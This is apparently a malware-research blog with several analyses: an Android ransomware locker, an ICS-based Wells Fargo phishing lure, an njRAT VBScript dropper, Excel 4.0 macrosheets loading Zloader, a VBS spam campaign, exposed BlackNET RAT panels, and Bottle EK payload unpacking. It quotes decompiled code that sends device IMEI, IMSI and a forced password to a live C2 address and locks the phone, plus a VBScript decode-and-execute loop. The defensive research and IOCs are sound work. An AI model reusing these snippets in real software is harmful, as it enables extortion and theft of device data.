Sunday, 17 May 2020

Android Locker targeting Russian Users

On 15th of May 2020, a malicious Android application was found hosted at the URL: hxxp://94.140.115.85/googleplay/install/install.apk

This application has the capability to add a device administrator and use it to reset the password of the Android phone. Once the phone is locked, the application will demand a ransom from the user to unlock the phone.

In this blog, I will describe the functionality of this Android locker.

MD5 hash of the APK file: a67480f99005d99cdff2dc1e2002536c
Filename: install.apk
URL: hxxp://94.140.115.85/googleplay/install/install.apk
Package name: com.chrome.beta

From the AndroidManifest.xml we can see that 4 receivers are present in this application:

Listen - handles DEVICE_ADMIN_ENABLED intent
TryDisable - handles trydisable intent.
Work - handles spwd intent
Boot - handles BOOT_COMPLETED intent

The MainActivity class is shown below.


In the MainActivity, it fetches the IMEI and IMSI values from the phone using the "phone" system service as shown below.

    Object localObject = (TelephonyManager)getSystemService("phone");
    paramBundle = ((TelephonyManager)localObject).getSubscriberId();
    String str = ((TelephonyManager)localObject).getDeviceId();

This data is sent to the C&C server in an HTTP GET request as shown below.

    new Request().execute(new String[] { "http://95.217.223.24/chceimw.php?imei=" + str + "&imsi=" + paramBundle + "&action=1" });

GET /chceimw.php?imei=000000000000000&imsi=XXXXX0000000000&action=1 HTTP/1.1
Host: 95.217.223.24
Connection: close
User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4)

Adding a new device administrator

The code section below will add a new device administrator:

    localObject = new ComponentName(this, Listen.class);
    Intent localIntent = new Intent("android.app.action.ADD_DEVICE_ADMIN");
    localIntent.putExtra("android.app.extra.DEVICE_ADMIN", (Parcelable)localObject);
    localIntent.putExtra("android.app.extra.ADD_EXPLANATION", getString(2131034113));

Below is the message displayed on the phone when the user is asked to install a new Device Administrator.


The policy for the new device admin is set to the Listen class.

Once the device admin is added, the onEnabled() method in the Device admin class will be called as shown below.



The onEnabled() method will broadcast an intent with the name: "spwd" which will be handled by the Work Class (this receiver is defined in the AndroidManifest.xml file).

paramContext.sendBroadcast(new Intent("spwd"));

Resetting Password and Locking the Phone

Let's look at the Work class which handles the intent with the name: "spwd".


It performs the following operations.

1. Fetches the IMSI and IMEI values using the getSubscriberId() and getDeviceId() methods of the phone system service.

2. Generates a new random password as shown below:

String str = String.valueOf(new Random().nextInt(888868) + 111112);

3. Uses the system service. "device_policy" to reset the password and lock the phone as shown below.

    localDevicePolicyManager.resetPassword(str, 1);
    localDevicePolicyManager.lockNow();

4. Sends an HTTP GET request with the IMSI, IMEI and randomly generated password as shown below:

    new Request().execute(new String[] { "http://95.217.223.24/chceimw.php?imei=" + (String)localObject + "&imsi=" + paramIntent + "&data=" + str });

5. Once the password is successfully set, the onPasswordSucceeded() method in the Listen() class will be called as shown below.

    paramIntent = new Intent(paramContext, WebActivity.class);
    paramIntent.addFlags(268435456);
    try
    {
      paramContext.startActivity(paramIntent);

This method will start the activity called WebActivity.

The onCreate() method in the Web Activity will create a webView and load the ransom message from the URL: hxxp://95.217.223.24/payment-ban-2985910/ as shown below.

  public void onCreate(Bundle paramBundle)
  {
    super.onCreate(paramBundle);
    getWindow().addFlags(4719616);
    setContentView(2130903040);
    this.webView = ((WebView)findViewById(2131099648));
    this.webView.loadUrl("http://95.217.223.24/payment-ban-2985910/");

The ransom message displayed on the Android phone is shown below.


The phone will immediately be locked by the ransomware. Once the user tries to unlock the phone with the old PIN, the above ransom message is displayed.

This message is asking the user to send 1000 roubles to the payment address: 4693 9575 8653 7180

c0d3inj3cT

Wednesday, 15 April 2020

Outlook Calendar File (ICS file format) used for Wells Fargo Phishing

Attackers are always trying to find ways to evade security detection mechanisms. Even for credential phishing attacks, attackers find ways to evade the URL detection mechanisms used in security products.

One such method is embedding URLs in different file formats such as PDF, MS Office files such as doc, xls and so on.

Today I found an instance of a phishing attack where the attackers embedded a malicious phishing URL inside an ICS file. ICS file is the Outlook calendar format and it corresponds to an entry on the calendar appointment.

MD5 hash of the ICS file: 0986e7cbdef080dada8dee9c55542c37

At the time of writing there are 0 detections on VT for this file.


Figure 1: 0 detections on VT.

The malicious URL is present inside the calendar appointment.

Below are the different stages in this attack.

Stage 1: Calendar invitation opened and displayed in MS Office Outlook.


Figure 2: ICS file opened in MS Office Outlook.

Stage 2: The URL is present inside the Calendar appointment.


Figure 3: Phishing URL present inside calendar appointment.

Sharepoint Phishing URL: hxxps://223311212676-my.sharepoint.com/:b:/g/personal/admin_223311212676_onmicrosoft_com/Ee6Cn6nNUw9CiQdaKJrlfcgBhJdzIxckDoe7Ao31xHjzBw?e=X3ZJqd

Stage 3: Sharepoint site is used to host the phishing content as shown below.


Figure 4: Sharepoint page hosting the content and phishing link.

The contents of this page pretends to be from the Fraud Prevention Team of Wells Fargo that requires the user to click on a link to take further action.

Stage 4: When the user clicks on the link in the above page, it redirects to the URL: hxxps://storage.googleapis.com/awells-coldfinch-761618318/index.html

Contents of the page are shown below.


Figure 5: Wells Fargo phishing page.

This page requests several sensitive information from the user such as username, password, email address, 4 digit cards PIN and Account Number details.

Conclusion: Users should pay extra attention while opening Calendar invitations and security products should take essential measures to scan ICS files. As can be seen, there are 0 detections on VT for this file format even though it contains a live phishing URL.

c0d3inj3cT

Saturday, 11 April 2020

VBScript using Coronavirus theme to execute njRAT

Recently we have observed many samples in-the-wild using the coronavirus theme to spread different types of trojans and Remote Administration Tools (RATs).

I came across one such interesting sample today. It is a VBScript which drops and executes njRAT binary embedded in it.

SHA256 hash: 1e18414968c0317cc5fefc5f25de845eba5566fcb236b9e4bdd84f0a82902c30
Filename: Covid19.vbs

The encoded VBScript is as shown below.


This script has funny variable names which makes the code interesting to read as well :)

For example, the below code section:

        If (Covid = 0) Then
            Do Until ebula = Len(winter)
                ebula = ebula + 1
                coldflue = coldflue & ChrW(AscW(Mid(winter, ebula, 1)) - spring + Len(corrona))
            Loop
        End If
        If (Covid = 0) Then
            wscript.sleep(3000)
            Execute(coldflue)
        End If

The coldflue variable contains the decoded VBScript which is shown below.


The Base64 encoded blob in this VBScript decodes to an njRAT binary which is then dropped to the system to the path: C:\Users\sasithar79\AppData\Roaming\Microsoft\Invisible Server Process\1.0.0.0\covid19.exe and executed as shown below.


SHA256 hash of the decoded njRAT binary: 59ebc1d6ef4c1dcd1e69abf55e7ea166b29a3dd208f286699345583b992ff068

Indicators of Compromise

Network IOC

Connects to: covid19.gotdns.ch and port 15152

c0d3inj3cT

Thursday, 9 April 2020

XLM Hidden Macrosheets used for Evasion

Recently we have observed an increase in the usage of XLM based macro files which use Excel 4.0 macros and hidden macrosheets by attackers. I think threat actors will start leveraging this format even more in the near future. The advantage of using this format for attacks is that they don't use standard VBA macros. Most of the open source OLE VBA tools don't have the capability to extract the macros from them.

On April 9th 2020, I started observing a lot of XLS samples in the wild which used XLM Excel 4.0 hidden macrosheets for performing malicious activities.

This blog is a quick writeup to capture more information about this ongoing campaign.

All the files followed the naming convention: <Person's Name Resume>.xls

Examples:

Filename: James Johnson Resume.xls
MD5 hash: 18ddf82706bcc79d12d0033df6991271

Filename: William Smith Resume.xls
MD5 hash: 971dcb961e8a894ed395a007965c7408

Filename: Maria Hernandez Resume.xls
MD5 hash: f5cf86e2acd65772a078c73fbbb70429

Interestingly all these samples have a detection of 0 on VT at the time of writing this blog as shown below.


Now, let us look at the macro code.

For the purpose of analysis, we will check the XLS file with MD5 hash: f5cf86e2acd65772a078c73fbbb70429

The contents of the file look like shown below.


It uses Social engineering to ask the user to enable macros so that the content of the file can be viewed. Unlike regular macro based XLS files used in spam campaigns, this one does not have a VBA macro which can be extracted easily.

It uses hidden macrosheets which have to be unhidden manually as shown below.



The macro code itself can be accessed by opening these hidden macrosheets. This an Excel 4.0 macro and the code can be seen in different cells of the worksheet as shown below.


The macro upon execution will connect to the C2 server to download a DLL which will be loaded dynamically using rundll32 to continue the malicious activities.

The network connection and response are shown below:


From whois lookup, it can be seen that the callback domain: march262020.com was registered on March 26th 2020.

I'll add more details of the campaign as they are discovered in this blog.

Indicators of Compromise

URLs hosting the Zloader DLL:

march262020[.]com/files/april8.dll

MD5 hashes of the XLM files:

18ddf82706bcc79d12d0033df6991271
971dcb961e8a894ed395a007965c7408
f5cf86e2acd65772a078c73fbbb70429
6119caae6f7ca97b5ebff0d0a51fa3cc
1173d6eb89e9b3d8549a9c786065990c

c0d3inj3cT

Friday, 7 February 2020

Spam campaign targeting Australian Users [Feb 7th 2020]

On Feb 7th 2020, I saw a couple of emails targeted towards Australian users. The malware delivery method consisted of ZIP files containing malicious VBScript files sent as email attachments.

Below is a quick analysis of this attack chain:

An example of Malicious email:


Attachment Analysis:


ZIP MD5 hash: 03383063f3fbdb51d142d7f022d52858
MD5 hash: 6d12aa34c3aa515ea909aaf5b6567316
Filename: GXIBV5537344461902.vbs


The ZIP file contained a malicious VBScript with an unusually large size of 1.7MB. Usually in spam campaigns we see VBScripts of a smaller size.

The script also contains an interesting obfuscation method as shown below:


Once the VBScript is executed, it displays a Pop Up message for social engineering purposes as shown below:


Rest of the execution sequence is:

1. Delays the execution (look for High CPU Usage).

2. Drops a DLL with TXT extension in the %temp% directory path with the name: Wv.txt

Note: A filetype and file extension mismatch for a dropped file is a good indicator for malicious file detection.

3. Executes the dropped DLL file using rundll32 as shown below:

rundll32.exe C:\Users\<username>AppData\Local\Temp\<name>.txt,DllRegisterServer

4. Creates several directories with random names in the path: %appdata%\Roaming\

5. Copies the dropped DLL file to the path: %appdata%\Roaming\<random_folder_name> with a random name.

6. Injects malicious code in msiexec.exe process and further malicious activities are performed in the context of msiexec.exe

Network communication performed in the context of msiexec.exe process is shown below:


Network IOCs:


penaght.org/sound.php
pitinjest.org/sound.php

File IOCs:

ZIP File Attachments:

03383063f3fbdb51d142d7f022d52858 
53d5c3d7a3e75a910d7663b129896990 

VBS files:

c08bfd81217b64fe0d6aa6756574f5dd

6d12aa34c3aa515ea909aaf5b6567316


Dropped DLL Files:

15c5c74b1c5bf2285a318ba1fa430892

The SSL certificates used by the callback domains  are issued by: Internet Widgits Pty Ltd

SSL Certificate Serial Numbers:

34:A8:36:EA:5F:E1:74:9C:D7:E8:AC:11:B8:C6:86:F7:01:62:13:30
3A:44:AF:0D:DA:D0:48:C8:79:FC:A3:B0:9C:A4:98:C0:E7:E2:FF:D8

c0d3inj3cT

Wednesday, 25 December 2019

BlackNet RAT - When you leave the Panel unprotected

BlackNET is a PHP based Web Panel which has a builder written in VB.NET. It is being actively used in-the-wild for malicious activities.

Recently, while analysing a malicious .NET Binary, I came across something interesting which caught my attention. Before I share those details, I will discuss a little bit about the capabilities of the payload, the project itself and then will present the discovery :)

MD5 hash of the sample discussed: 7e88ccc91e0f9a242c4723e43afa93ab

The .NET binaries used in-the-wild which leverage BlackNET panel are not obfuscated. At least the binaries I analysed so far are not protected or obfuscated. This makes the process of analysis straightforward.

How to identify whether this is related to BlackNET?

When you decompile the binary, the list of .NET methods are sufficient to correlate and understand that they have used the BlackNET project. In our case, after decompiling the .NET binary, we can see the list of methods as shown below:


The names of the methods are self explanatory however for the purpose of brevity, I will mention below some of the capabilities:

AntiVM: It has the ability to detect a Virtual Machine by checking for the presence of the DLL files, vmGuestLib.dll and vboxmrxnp.dll on the file system. If it finds these files, then it will delete them.

It also tries to load the DLL, SbieDll.dll to check for the presence of Sandboxie (a very common method).

DDoS: Various methods of DDoS are supported by this binary which include: ARME, Slowloris, UDP, TCP, HTTP GET and HTTP POST request based. The attacker can specify the host address they want to perform the DDoS attack against using the BlackNET Panel. They can also select the DDoS method as can be seen here

LimeLogger: This is the key logging module which leverages LowLevelKeyboardProc() function along with SetWindowsHookEx() to do keylogging.

Screening_Programs: This method checks for the presence of analysis tools used by Malware Researchers. It performs checks using both the process names as well as the Window Titles as shown below:


I have included the list in Appendix which can be used as a reference by you to harden your Virtual Machine while analyzing malwares in future.

Unprotected Web Panels

These web panels are easy to deploy. Just get a web hosting, upload the PHP scripts, run the Installation script which sets up the database and the Panel is ready to use.

I noticed that most users of BlackNET Web Panel are leveraging the hosting provided by 000webhostapp.com

One such example is the binary we are discussing in this article.

Once the sample is executed on the machine, it will gather basic details from the machine, send them in an HTTP GET request to the BlackNET panel and register the machine. For each victim's machine, an ID is generated in the format: Hacked_<ID>

Below is an example of the HTTP GET requests initiated by the binary:


Web Panel is located at: kiraamora.000webhostapp.com/blacknet

If we visit the hosting, we notice that there is no index.php script present. As a result of it, directory listing is enabled as shown below:


There is an upload directory in which the information captured from the machines is stored. Inside the upload directory, there is a directory for each victim's machine with the name in the format: Hacked_<ID>

There is one directory of specific interest as shown below:


The JPG file there is the screenshot taken from the machine. If we check the screenshot, we notice that it is the screenshot taken from the BlackNET panel's admin machine itself as shown below:


If we check the URL in the address bar in screenshot above, we can see that the command: tkschot was used to capture the screenshot from the machine.

The command itself is defined in the code here

This could be the result of the admin verifying whether the panel is working properly by taking a screenshot of their machine. However, they forgot to delete the screenshot from the panel to clear any traces.

Below are some more MD5 hashes of .NET binaries using the BlackNET Panel:

d25ee82934bec167345502a1e7e3c931
3d28dc46e048daee4974dc5e2fe08bfd
1fd19fcca59ed976ee57640dafba5518
601b4e3b04069beed78e8ce1d2859d4a
c736fcdba9c96eb9b7d8f65e6ab8a4c9
52cd657b18efdbd92f7347d439016c6b
6e36e783324800952f4c0ebea2262fb9
e829cf7a744547e5f1aca6f53061a7b7
2033caac6e8064bd845004d4d628ebe3
8ea79fb698558a8fbed892a8297f3f4b
8d72b32f0d9796443218f1363324f731
281a4bbd61d5e5e310c407b10dafb78c
cd1084d9755db2a38402df2171f25948
83614ce163a71a04fb450f5cd55bfb9f
4a9102b122d9a8dcfe693693f4d91910
8c7e485a40ba5f1881801e56ca298eb0
6fa52977cb3aef5606900cd7a11df4da
6947014e2a2b60445860bfaf5ba35dc6
bdfa464369c660fabff9ec700c49bab9
9b4402ac464744fd4ed118c956752bbc
dc4cf73a81f74f4aa3ec5224ba2cee91
31dc0a5c441b531e029a4158354a1529
6d34058315b46deb297c3d7f712f7451
53c1d9cbf7ca1147880de072d64980dd
d45bac3b009058b11cabc7a9b4048c8d

More Web Panels:

hxxp://davidescu.000webhostapp.com/BlackNET Panel/
hxxps://imdavidfree.000webhostapp.com//BlackNET%20Panel
hxxps://impieselfree.000webhostapp.com/blacknet
hxxp://homedeco.id/
hxxps://davidbotnet.000webhostapp.com/blacknet
hxxp://piratashost.top:82/panel/

Appendix:

List of Process Names Checked:

procexp
SbieCtrl
SpyTheSpy
SpeedGear
wireshark
mbam
apateDNS
IPBlocker
cports
ProcessHacker
KeyScrambler
TiGeR-Firewall
Tcpview
xn5x
smsniff
exeinfoPE
regshot
RogueKiller
NetSnifferCs
taskmgr
Reflector
capsa
NetworkMiner
AdvancedProcessController
ProcessLassoLauncher
ProcessLasso
SystemExplorer

List of Window Titles Checked:

ApateDNS
Malwarebytes Anti-Malware
TCPEye
SmartSniff
Active Ports
ProcessEye
MKN TaskExplorer
CurrPorts
System Explorer
DiamondCS Port Explorer
VirusTotal
Metascan Online
Speed Gear
The Wireshark Network Analyzer
Sandboxie Control
.NET Reflector

c0d3inj3cT

Tuesday, 24 December 2019

Unpacking Payload used in Bottle EK

On December 13th 2019, @nao_sec discovered a new Exploit kit targeting users in Japan and it was given the name, Bottle Exploit Kit.

@nao_sec described in their blog the details of the Exploit Kit including the two vulnerabilities (CVE-2018-8174 and CVE-2018-15982) which were exploited in this attack.


In this article, I will go into the details of the multiple stages of unpacking the payload used in Bottle Exploit Kit.


tl;dr: Multiple stages of packing are used in the payload. The XOR decryption routine used is common for all the payloads related to Bottle Exploit Kit and can be used to discover more instances.


MD5 hash of the sample discussed: ee98ef74c496447847f1876741596271

The WinMain() subroutine creates a new Thread as shown below:



The newly created Thread creates another Thread in turn as shown below:


The first stage of unpacking is performed by Thread 2 (function start address: 0x40105b). The figure highlights the important stages of unpacking:


The main stages of unpacking of the first stage are:

1. VirtualAlloc() to allocate memory to decrypt stage 1.
2. RtlMoveMemory() to copy 0x1ed8 bytes of encrypted data from 0x412db8 to memory allocated in step 1.
3. XOR decryption routine at address: 0x401000 is invoked. The XOR decryption key is 0x3c bytes in length and is passed as an argument to the XOR decryption routine.
4. VirtualAlloc() is called again to decompress the XOR decrypted output of step 3.
5. Decompression is performed using RtlDecompressBuffer()
6. A new Thread with function start address set to decompressed code in step 5 is started.

The XOR decryption routine mentioned in step 3 above is as shown below:


The next decrypted stage looks as shown below:


Another layer of XOR decryption is done by stage 2 which gives us the following decrypted data:


In the next stage of execution, it performs the System Language Check using the API, GetUserDefaultUILanguage() as shown below:


The system language code is compared with 0x411 which corresponds to Japanese System Language. The payload will execute completely only if the system language code is: 0x411.

Here is the list of decrypted strings:

0000000028DF   0000000028DF      0   shlwapi.dll
0000000028EB   0000000028EB      0   User32.dll
0000000028F6   0000000028F6      0   Advapi32.dll
000000002903   000000002903      0   ntdll.dll
00000000290D   00000000290D      0   Ws2_32.dll
000000002918   000000002918      0   Wininet.dll
000000002924   000000002924      0   Urlmon.dll
00000000292F   00000000292F      0   bcdfghklmnpqrstvwxzaeiouyT
000000002A56   000000002A56      0   DataDirectory %s
000000002A77   000000002A77      0   POST %s HTTP/1.1
000000002A89   000000002A89      0   Host: %s
000000002A93   000000002A93      0   Connection: close
000000002AA6   000000002AA6      0   Accept: */*
000000002AB3   000000002AB3      0   User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64)
000000002AE4   000000002AE4      0   Accept-Encoding: identity
000000002AFF   000000002AFF      0   Content-Type: application/x-www-form-urlencoded
000000002B30   000000002B30      0   Content-Length: %d
000000002B4C   000000002B4C      0   WSAStartup
000000002B57   000000002B57      0   socket
000000002B5E   000000002B5E      0   setsockopt
000000002B69   000000002B69      0   connect
000000002B7B   000000002B7B      0   closesocket
000000002952   000000002952      0   AppData\LocalLow
000000002974   000000002974      0   \Data\Tor
000000002988   000000002988      0   \Data\Tor\geoip
0000000029A8   0000000029A8      0   \Data\Tor\geoip6
0000000029CA   0000000029CA      0   \Tor\taskhost.exe
0000000029EE   0000000029EE      0   \Tor\tor.exe
000000002A08   000000002A08      0   \torrc
000000002A16   000000002A16      0   1.zip
000000002A22   000000002A22      0   1.exe
000000002A2E   000000002A2E      0   -o -qq "%s" -d "%s"
000000002A66   000000002A66      0   s-f "%s"
000000002B86   000000002B86      0   t.jpg
000000002B9B   000000002B9B      0   ALLUSERSPROFILE
000000002BBB   000000002BBB      0   rundll32.exe

From the Decrypted Strings above, we can see that it will make a Network Request to download TOR browser.

The XOR decryption routine used in the payload is the same among all the samples (DLL and EXE files) related to Bottle Exploit Kit instances.

Here are more MD5 hashes of payloads used in Bottle Exploit Kit:

5c9522927945f7fde17724360e9fec64
d408c3f58c3407e5d37ec524db03deb9
d6ae17d1d8ba79de1f936092297e44f9
d1bdc7c37f66702bf72d41a9276777dc
894794945683db1e708d2e9304821b19
6c71ca4978095b24a10487a84215d5bd
ee98ef74c496447847f1876741596271
e65322b4add2e5183616ce283e99614f
c67c6f2f212ffe7d99c7238c959c95e6
972d77bd40b0acfa9c0ffaf12b7cbba4
8fdd5e90c33b4feb83b74b3922c09c6d
e753d7a35a9144dd820d4d6e9be970ee

The only change is the XOR decryption key.

c0d3inj3cT